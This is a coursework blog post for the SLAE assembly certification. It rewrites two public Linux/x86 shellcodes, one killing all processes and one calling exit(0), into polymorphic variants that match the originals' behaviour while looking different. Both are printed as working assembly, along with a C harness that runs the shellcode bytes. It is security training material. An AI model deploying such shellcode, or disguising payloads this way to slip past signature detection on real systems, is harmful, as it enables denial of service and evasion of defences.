This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-885
Assignment number: 6.2 and 6.3
Github repo: https://github.com/abatchy17/SLAE


In assignment 6, the requirement is polymorphing 3+ shellcodes off shellstorm.org or exploit-db.com, which basically means modifying the code so it doesn’t look like the original yet has the same functionality. This post contains the remaining 2 parts for assignment 3._

Linux/x86 - kill all processes

The following shellcode is written by Kris Katterjohn and can be found here.

section .text  
  
global _start  
  
_start:  
  
    ; kill(-1, SIGKILL)  
  
    push byte 37  
    pop eax  
    push byte -1  
    pop ebx  
    push byte 9  
    pop ecx  
    int 0x80  

Very simple code, it sets EAX to 37 (syscall for kill()), sets EBX to -1 (to target all processes) and ECX to 9 (SIGKILL).

Let’s modify this code slightly:

section .text  
  
global _start  
  
_start:  
  
    ; kill(-1, SIGKILL)  
  
    xor ebx, ebx  
    dec ebx  
    push byte 37  
    pop eax  
    push byte 9  
    pop ecx  
    int 0x80  

See what I did there? Shellcode is of same size so we’re good.

Linux/x86 - exit(0)

The following shellcode is written by gunslinger_ and can be found here.

/*  
Name   : 8 bytes sys_exit(0) x86 linux shellcode  
Date   : may, 31 2010  
Author : gunslinger_  
Web    : devilzc0de.com  
blog   : gunslinger.devilzc0de.com  
tested on : linux debian  
*/  
  
char *bye=  
 "\x31\xc0"                    /* xor    %eax,%eax */  
 "\xb0\x01"                    /* mov    $0x1,%al */  
 "\x31\xdb"                    /* xor    %ebx,%ebx */  
 "\xcd\x80";                   /* int    $0x80 */  
  
int main(void)  
{  
  ((void (*)(void)) bye)();  
  return 0;  
}  

What can we do about this code? Well, mov al, 0x1 can be replaced with inc eax.

global _start  
_start:  
  
xor eax, eax  
inc eax  
xor ebx, ebx  
int 0x80  

Shellcode is now one byte smaller, sweet.

- Abatchy